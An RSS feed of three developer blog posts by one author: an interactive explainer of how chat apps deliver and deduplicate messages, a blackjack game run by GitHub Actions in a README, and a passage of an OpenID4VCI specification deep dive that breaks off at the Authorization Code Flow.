<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: kt</title>
    <description>The latest articles on DEV Community by kt (@kanywst).</description>
    <link>https://dev.to/kanywst</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3700180%2F04651b63-c6a1-4069-b356-a0f85c17e0bb.png</url>
      <title>DEV Community: kt</title>
      <link>https://dev.to/kanywst</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kanywst"/>
    <language>en</language>
    <item>
      <title>One Chat Message, Followed From Send to Read</title>
      <dc:creator>kt</dc:creator>
      <pubDate>Sat, 21 Nov 2026 15:35:06 +0000</pubDate>
      <link>https://dev.to/kanywst/one-chat-message-followed-from-send-to-read-18kg</link>
      <guid>https://dev.to/kanywst/one-chat-message-followed-from-send-to-read-18kg</guid>
      <description>&lt;p&gt;You tap send. Under a second later the message is on someone else's phone, and a little after that yours says Read. I wanted a page that shows everything that happens in between, frame by frame, so I built one.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Source: &lt;a href="https://github.com/0-draft/how-chat-apps-work" rel="noopener noreferrer"&gt;https://github.com/0-draft/how-chat-apps-work&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Site: &lt;a href="https://0-draft.github.io/how-chat-apps-work/" rel="noopener noreferrer"&gt;https://0-draft.github.io/how-chat-apps-work/&lt;/a&gt; (Japanese at &lt;code&gt;/ja/&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1mubf66c5vwxxeq906lr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1mubf66c5vwxxeq906lr.png" alt="The &amp;quot;From send to read&amp;quot; sequence diagram at step 6: the messaging service pushes EVENT seq=1042 to B's phone" width="799" height="461"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The protocol is made up, the apps are not
&lt;/h2&gt;

&lt;p&gt;The diagrams use one protocol for the whole site. It is a composite of what most chat apps do, with field names picked to be readable (&lt;code&gt;clientMsgId&lt;/code&gt;, &lt;code&gt;seq&lt;/code&gt;, &lt;code&gt;READ upTo=1042&lt;/code&gt;) rather than to match any one product. Copying LINE's or WhatsApp's wire format would have meant explaining their quirks before the idea.&lt;/p&gt;

&lt;p&gt;Claims about real apps are kept apart, in one file, &lt;code&gt;src/lib/apps.ts&lt;/code&gt;. Each claim sits next to the primary source it came from: a vendor whitepaper, an engineering blog post, a spec. A weekly lychee job checks that those links still resolve.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a message goes through
&lt;/h2&gt;

&lt;p&gt;The chapters follow the message, not a list of technologies.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;From send to read&lt;/strong&gt;: the phone picks a &lt;code&gt;clientMsgId&lt;/code&gt;, the server stamps a &lt;code&gt;seq&lt;/code&gt;, and a read receipt is a position (&lt;code&gt;READ upTo=1042&lt;/code&gt;), not a flag on every message.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The always-on connection&lt;/strong&gt;: DNS, TCP, TLS 1.3, auth, heartbeats, and reconnecting without every client hammering the server at once.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Why it never arrives twice&lt;/strong&gt;: covered below.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delivered while the app is closed&lt;/strong&gt;: APNs and FCM, the Notification Service Extension, and syncing from a cursor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A letter the server can't read&lt;/strong&gt;: ECDH, AES-GCM, and what the Double Ratchet adds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Groups&lt;/strong&gt;: fan-out on read vs. fan-out on write, and "read by N" as a count of members whose position is past the message.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Photos and video&lt;/strong&gt;: the file goes to blob storage first, and the message carries a pointer and a key.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On a desktop, the diagram follows the text as you scroll. On a phone, you step through it with buttons. Every step has its own link (&lt;code&gt;#retry-6&lt;/code&gt;), so you can send someone the exact moment you mean.&lt;/p&gt;

&lt;h2&gt;
  
  
  The chapter I wanted most: the lost ACK
&lt;/h2&gt;

&lt;p&gt;The send works and the server stores the message as 1042, but the ACK back to A never arrives. Maybe A went into a tunnel. A can't tell whether the server got the message, so it sends again.&lt;/p&gt;

&lt;p&gt;If the retry got a new ID, B would see the message twice. So the retry reuses the original &lt;code&gt;clientMsgId&lt;/code&gt;, and the server checks it before inserting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;seq&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt;
 &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;chat_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'c_8f2a'&lt;/span&gt;
   &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;31337&lt;/span&gt;
   &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;client_msg_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'a-7d1c9e'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It finds 1042 and returns the same ACK it sent the first time. The sender has to be part of the key, because phones pick &lt;code&gt;clientMsgId&lt;/code&gt; and two phones can pick the same one.&lt;/p&gt;

&lt;p&gt;The simulator chapter lets you cause this yourself. There are two phones and a server. You can take a phone offline, tick "Drop the next ACK", send, and watch the retry get deduplicated.&lt;/p&gt;

&lt;h2&gt;
  
  
  Real apps
&lt;/h2&gt;

&lt;p&gt;The last chapter compares LINE, WhatsApp, Signal, iMessage, Messenger, Telegram and Discord on transport, E2EE and groups, but only where the vendor has published something. Where nothing has been published, the cell shows a dash instead of a guess.&lt;/p&gt;

&lt;p&gt;That file goes stale quickly. In its first maintenance pass, five days after launch, two lines were already out of date. Discord had made DAVE (its MLS-based E2EE) mandatory for every voice and video call except Stage channels in March 2026. Apple and Google had started a beta of E2EE RCS between iPhone and Android in May 2026. Both are fixed now. The RCS line says that neither announcement names the protocol, because I couldn't find a primary source that ties the beta to MLS.&lt;/p&gt;

&lt;p&gt;If you know a vendor has said otherwise, open an issue with the link.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it's built
&lt;/h2&gt;

&lt;p&gt;Astro renders every diagram to SVG at build time, so the page reads fine with JavaScript off. A small custom element, &lt;code&gt;&amp;lt;seq-player&amp;gt;&lt;/code&gt;, adds the stepping. The simulator is a Svelte island on top of a pure reducer, which made the dedup and offline cases easy to unit test.&lt;/p&gt;

&lt;p&gt;English and Japanese share the same step data. Each string is stored as &lt;code&gt;{ en, ja }&lt;/code&gt;, and the tests fail if one language is missing or the two drift apart in structure. Playwright runs both languages on desktop, on a phone and in dark mode, with axe checking accessibility as it goes.&lt;/p&gt;

&lt;p&gt;Code is MIT. The writing and diagrams are CC BY 4.0, so reuse them in your own docs or slides with attribution.&lt;/p&gt;

</description>
      <category>showdev</category>
      <category>webdev</category>
      <category>architecture</category>
      <category>security</category>
    </item>
    <item>
      <title>A Blackjack Table That Lives in a README, Dealt by GitHub Actions</title>
      <dc:creator>kt</dc:creator>
      <pubDate>Sun, 15 Nov 2026 00:45:48 +0000</pubDate>
      <link>https://dev.to/kanywst/a-blackjack-table-that-lives-in-a-readme-dealt-by-github-actions-5g63</link>
      <guid>https://dev.to/kanywst/a-blackjack-table-that-lives-in-a-readme-dealt-by-github-actions-5g63</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;README games are an old GitHub trick: a link opens an issue, a workflow reads it, and the README redraws. Chess and tic-tac-toe have been done many times. I wanted one where the game itself had something to say, so I built a blackjack table that tells you, after every click, exactly what that decision was worth.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/0-draft/casino#blackjack" rel="noopener noreferrer"&gt;Play it here&lt;/a&gt;.&lt;/strong&gt; Nothing to install, no account beyond the GitHub one you already have.&lt;/p&gt;

&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Table:&lt;/strong&gt; &lt;a href="https://github.com/0-draft/casino#blackjack" rel="noopener noreferrer"&gt;github.com/0-draft/casino&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Source:&lt;/strong&gt; &lt;code&gt;scripts/blackjack.py&lt;/code&gt; (the game) and &lt;code&gt;scripts/bjmath.py&lt;/code&gt; (the calculator) in the same repo&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How a hand is played
&lt;/h2&gt;

&lt;p&gt;Pick a chip. The link opens an issue whose title is already filled in, something like &lt;code&gt;bj|bet 1 12&lt;/code&gt; (bet 1 unit on hand 12). Press Submit and:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;issue opened  -&amp;gt;  blackjack.yml  -&amp;gt;  blackjack.py  -&amp;gt;  commit README  -&amp;gt;  close issue
 "bj|bet 1 12"     (only titles       deal, price,      table redrawn     with a note on
                    starting bj|)      update state                       what it was worth
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Within about half a minute the table has moved, and the issue is closed with a comment like this one, from the hand I dealt while writing this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hand 12 for 1u.

When that chip went down the running count was +0 with 4.9 decks left,
so the true count was +0.0. A shoe like that is worth about -0.12% a unit,
measured over 200 million rounds of these rules, so 1u on it was worth
-0.001 units before a card came out.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is one table and one hand at a time, so whoever clicks next is the player. Every link carries the hand number, so a stale link from an earlier hand is refused instead of being applied to whatever is on the table now. Runs that write the README share one concurrency group with &lt;code&gt;queue: max&lt;/code&gt;, so three people clicking at once are served in order instead of the middle one being dropped.&lt;/p&gt;

&lt;h2&gt;
  
  
  The hole card does not exist
&lt;/h2&gt;

&lt;p&gt;The state file &lt;code&gt;.github/blackjack.json&lt;/code&gt; is public. If the dealer's second card were in it, anyone could read ahead. So it is not drawn at all. From the comment in &lt;code&gt;blackjack.py&lt;/code&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;It is not drawn until the moment it is turned over, so there is nothing in this repository to read ahead, which is stricter than a real table, where the dealer has already seen it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The peek is still honest. When the dealer shows an ace or a ten, the game rolls whether the hole card completes a natural, using the real proportion of tens (or aces) left in the shoe. Only if it does is the card drawn right then. Otherwise the hand goes on, and when the hole card is finally turned over it is drawn from the shoe with the natural-making cards weighted out.&lt;/p&gt;

&lt;p&gt;The shoe itself is stored only as the list of cards that have come out of it. What is left is the difference, so the state cannot disagree with the discard tray printed under the table, and counting is the game: every card that has left the shoe is listed, and nothing on the page tells you the count.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pricing every click exactly
&lt;/h2&gt;

&lt;p&gt;A strategy chart answers "what is best on average over a fresh six-deck shoe". That is the wrong question halfway through a shoe. &lt;code&gt;bjmath.py&lt;/code&gt; works in compositions (how many aces, twos, ..., tens remain) and enumerates every outcome, so each action is priced for this shoe and no other:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cards are drawn without replacement all the way down, including the dealer's.&lt;/li&gt;
&lt;li&gt;The calculator is never allowed to see the hole card. Enumerate it, take the best action inside each branch, and sixteen against a ten starts "standing when the dealer has sixteen", a quarter of a unit no player can collect. Every decision is averaged over the hole cards the player cannot tell apart.&lt;/li&gt;
&lt;li&gt;The peek is priced. A dealer ace that has been checked is known not to be covering a ten, which slightly raises the chance of a ten arriving for the player too.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The one deliberate approximation is splitting: each split hand is priced as if it were alone. That is the standard treatment, worth a few thousandths of a unit.&lt;/p&gt;

&lt;p&gt;Because every decision has an exact value, the table can keep score of something more interesting than wins: it adds up how many units each player has lost to mistakes, as opposed to bad luck, and prints the total under the table.&lt;/p&gt;

&lt;h2&gt;
  
  
  How do I know the numbers are right?
&lt;/h2&gt;

&lt;p&gt;A wrong board is visible. A wrong expected value just quietly tells strangers that the worse play was better. So the calculator is checked three ways in &lt;code&gt;tests/test_bjmath.py&lt;/code&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Against an independent Monte Carlo&lt;/strong&gt; that deals a real shuffled shoe with a physical hole card and rejection sampling for the peek. It shares no code with the calculator.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Against the published basic strategy chart.&lt;/strong&gt; All 260 cells have to fall out of the numbers from a full shoe, without the calculator ever being told what the chart says.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Against its own past answers&lt;/strong&gt;, so a change that moves a number has to be deliberate.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The full chart and a long simulation take about four minutes, too slow for every pull request, so &lt;code&gt;calculator.yml&lt;/code&gt; runs them nightly and on any change that touches the calculator or the chart.&lt;/p&gt;

&lt;p&gt;The card art is generated by &lt;code&gt;scripts/make_cards.py&lt;/code&gt; and committed. &lt;code&gt;checks.yml&lt;/code&gt; regenerates it on every pull request and fails if the committed SVGs drift from their generator.&lt;/p&gt;

&lt;h2&gt;
  
  
  The rules
&lt;/h2&gt;

&lt;p&gt;Six decks, dealer stands on soft 17, double after split, late surrender, blackjack pays 3 to 2, shuffled at a 75% cut card. Every hand ever played is kept in &lt;code&gt;.github/blackjack-log.txt&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;It started life in my profile README and now lives in &lt;a href="https://github.com/0-draft/casino#blackjack" rel="noopener noreferrer"&gt;0-draft/casino&lt;/a&gt;, next to a baccarat table. So far every hand on it is mine, which is the part I would like to change: go deal one. A click opens a prefilled issue, Submit plays it, and the closing comment tells you what your decision was worth.&lt;/p&gt;

</description>
      <category>showdev</category>
      <category>python</category>
      <category>githubactions</category>
      <category>gamedev</category>
    </item>
    <item>
      <title>OpenID4VCI Deep Dive: 1.0 Final, the Errata, Interactive Authorization in 1.1, and Server-to-Server</title>
      <dc:creator>kt</dc:creator>
      <pubDate>Sat, 14 Nov 2026 22:31:48 +0000</pubDate>
      <link>https://dev.to/kanywst/openid4vci-deep-dive-10-final-the-errata-interactive-authorization-in-11-and-server-to-server-19p4</link>
      <guid>https://dev.to/kanywst/openid4vci-deep-dive-10-final-the-errata-interactive-authorization-in-11-and-server-to-server-19p4</guid>
      <description>&lt;p&gt;In OpenID4VCI 1.0 Final, a Wallet that sends the wrong PIN gets &lt;code&gt;invalid_grant&lt;/code&gt;. A Wallet whose Pre-Authorized Code has expired also gets &lt;code&gt;invalid_grant&lt;/code&gt;. The Wallet can't tell "ask the user to type it again" from "this offer is dead", and the Final text puts no limit on how many PINs an attacker may try against one code.&lt;/p&gt;

&lt;p&gt;Both have been addressed since, in two different documents with two different answers, and neither document is the text that was approved. That's the state of OpenID4VCI in late 2026: one Final spec, and three editor's drafts next to it that a peer might be following instead.&lt;/p&gt;

&lt;p&gt;I checked everything against &lt;a href="https://github.com/openid/OpenID4VCI" rel="noopener noreferrer"&gt;openid/OpenID4VCI&lt;/a&gt; at commit &lt;code&gt;21ffd6c&lt;/code&gt; (27 October 2026) and the PRs it cites, on 2026-11-15. My full notes are on &lt;a href="https://0-draft.github.io/identity-deep-dive/openid/deep-dives/OpenID4VCI/" rel="noopener noreferrer"&gt;Identity Deep Dive&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Four texts
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Text&lt;/th&gt;
&lt;th&gt;Where&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1.0 Final&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;openid-4-verifiable-credential-issuance-1_0-final.html&lt;/code&gt;, git tag &lt;code&gt;1.0-final&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Approved 16 September 2025: 102 approve, 1 object, 12 abstain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1.0 errata set 1&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;1.0/&lt;/code&gt;, revision &lt;code&gt;-19&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Editor's draft&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1.1&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;1.1/&lt;/code&gt;, revision &lt;code&gt;-01&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Editor's draft, "created with same text as 1.0 Final" and then extended&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Server to Server&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;s2s/&lt;/code&gt;, revision &lt;code&gt;-01&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;First draft merged 4 August 2026 (#753)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;All four belong to the OpenID Digital Credentials Protocols (DCP) working group. Section numbers below are from 1.0 unless I say 1.1 or s2s. 1.1 inserted a new Section 6, so everything after Section 5 shifts by one there.&lt;/p&gt;

&lt;h2&gt;
  
  
  The model in one paragraph
&lt;/h2&gt;

&lt;p&gt;The Credential Issuer is an OAuth Resource Server. Its one mandatory endpoint is the Credential Endpoint; a Nonce Endpoint, a Deferred Credential Endpoint, a Notification Endpoint and Credential Offers are optional (Section 3.1). The Wallet is the OAuth client. It finds the Authorization Server through &lt;code&gt;authorization_servers&lt;/code&gt; in the issuer's metadata, gets an access token, and calls &lt;code&gt;POST /credential&lt;/code&gt;. On top of plain OAuth, 1.0 adds four things (Section 3.2): the grant type &lt;code&gt;urn:ietf:params:oauth:grant-type:pre-authorized_code&lt;/code&gt;, the RAR type &lt;code&gt;openid_credential&lt;/code&gt;, the &lt;code&gt;issuer_state&lt;/code&gt; authorization request parameter, and a &lt;code&gt;credential_offer_endpoint&lt;/code&gt; in Wallet client metadata.&lt;/p&gt;

&lt;p&gt;Everything format-specific (SD-JWT VC, mdoc, the W3C VCDM variants) is pushed into Appendix A. The flow is the same for all of them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pre-Authorized Code Flow
&lt;/h2&gt;

&lt;p&gt;The issuer has already identified the user through its own process (a bank login, a counter visit), so the Wallet never sees an Authorization Endpoint. It gets a code in a QR and trades it for a token.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fopenid4vci-deep-dive%2Fdiagrams%2F01-pre-authorized-code-flow.png%3Fv%3D6539fc3d" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fopenid4vci-deep-dive%2Fdiagrams%2F01-pre-authorized-code-flow.png%3Fv%3D6539fc3d" alt="Pre-Authorized Code Flow: Credential Offer QR, tx_code by SMS, metadata fetch, Token Request with pre-authorized_code and tx_code, nonce, Credential Request with jwt proofs, 200 or 202" width="760" height="738"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The offer (Section 4.1.1). In a QR it is usually by reference (&lt;code&gt;credential_offer_uri&lt;/code&gt;), because the by-value JSON doesn't fit; the two parameters MUST NOT appear together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"credential_issuer"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"https://credential-issuer.example.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"credential_configuration_ids"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"UniversityDegreeCredential"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"grants"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;"urn:ietf:params:oauth:grant-type:pre-authorized_code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nl"&gt;"pre-authorized_code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"adhjhdjajkdkhjhdj"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nl"&gt;"tx_code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Please provide the one-time code which was sent to your mobile phone via SMS"&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;tx_code&lt;/code&gt; here is an object, not the code. Its presence, even as &lt;code&gt;{}&lt;/code&gt;, means "a Transaction Code is required". &lt;code&gt;input_mode&lt;/code&gt; defaults to &lt;code&gt;numeric&lt;/code&gt;, &lt;code&gt;length&lt;/code&gt; is a UI hint, and &lt;code&gt;description&lt;/code&gt; is capped at 300 characters. The code itself goes to the user over a second channel. Then the Token Request (Section 6.1):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="no"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="no"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;
&lt;span class="nc"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="nc"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;urlencoded&lt;/span&gt;

&lt;span class="na"&gt;grant_type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;urn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;ietf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;oauth&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;grant&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;pre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;authorized_code&lt;/span&gt;
&lt;span class="na"&gt;&amp;amp;pre-authorized_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;SplxlOBeZQQYbYS6WxSbIA&lt;/span&gt;
&lt;span class="na"&gt;&amp;amp;tx_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;493536&lt;/span&gt;
&lt;span class="na"&gt;&amp;amp;authorization_details&lt;/span&gt;&lt;span class="o"&gt;=%&lt;/span&gt;&lt;span class="mi"&gt;5B&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;7B&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;22type&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3A&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;22openid_credential&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;2C&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;
    &lt;span class="n"&gt;credential_configuration_id&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3A&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;22UniversityDegreeCredential&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;7D&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5D&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no &lt;code&gt;client_id&lt;/code&gt;. Client authentication is OPTIONAL for this grant, and an AS advertises whether it accepts anonymous requests with &lt;code&gt;pre-authorized_grant_anonymous_access_supported&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That gives you the security model. The spec says it plainly in Section 13.6.1: the Pre-Authorized Code "is not bound to a certain session (as the Authorization Code Flow does with PKCE)". Whoever scans the QR first holds a bearer code. The offer itself is unauthenticated too: Section 13.5 says the Wallet MUST treat every value in it as untrusted and run the same issuer checks as if the user had started the flow. The &lt;code&gt;tx_code&lt;/code&gt; is the only thing tying the code to the person who received the SMS. A 6-digit numeric &lt;code&gt;tx_code&lt;/code&gt; is 10^6 guesses, and 1.0 Final says nothing about rate limiting them. That's the gap the errata closes, further down.&lt;/p&gt;

&lt;h2&gt;
  
  
  Authorization Code Flow
&lt;/h2&gt;

&lt;p&gt;This one is ordinary OAuth with PKCE, with two OpenID4VCI-specific parameters.&lt;/p&gt;

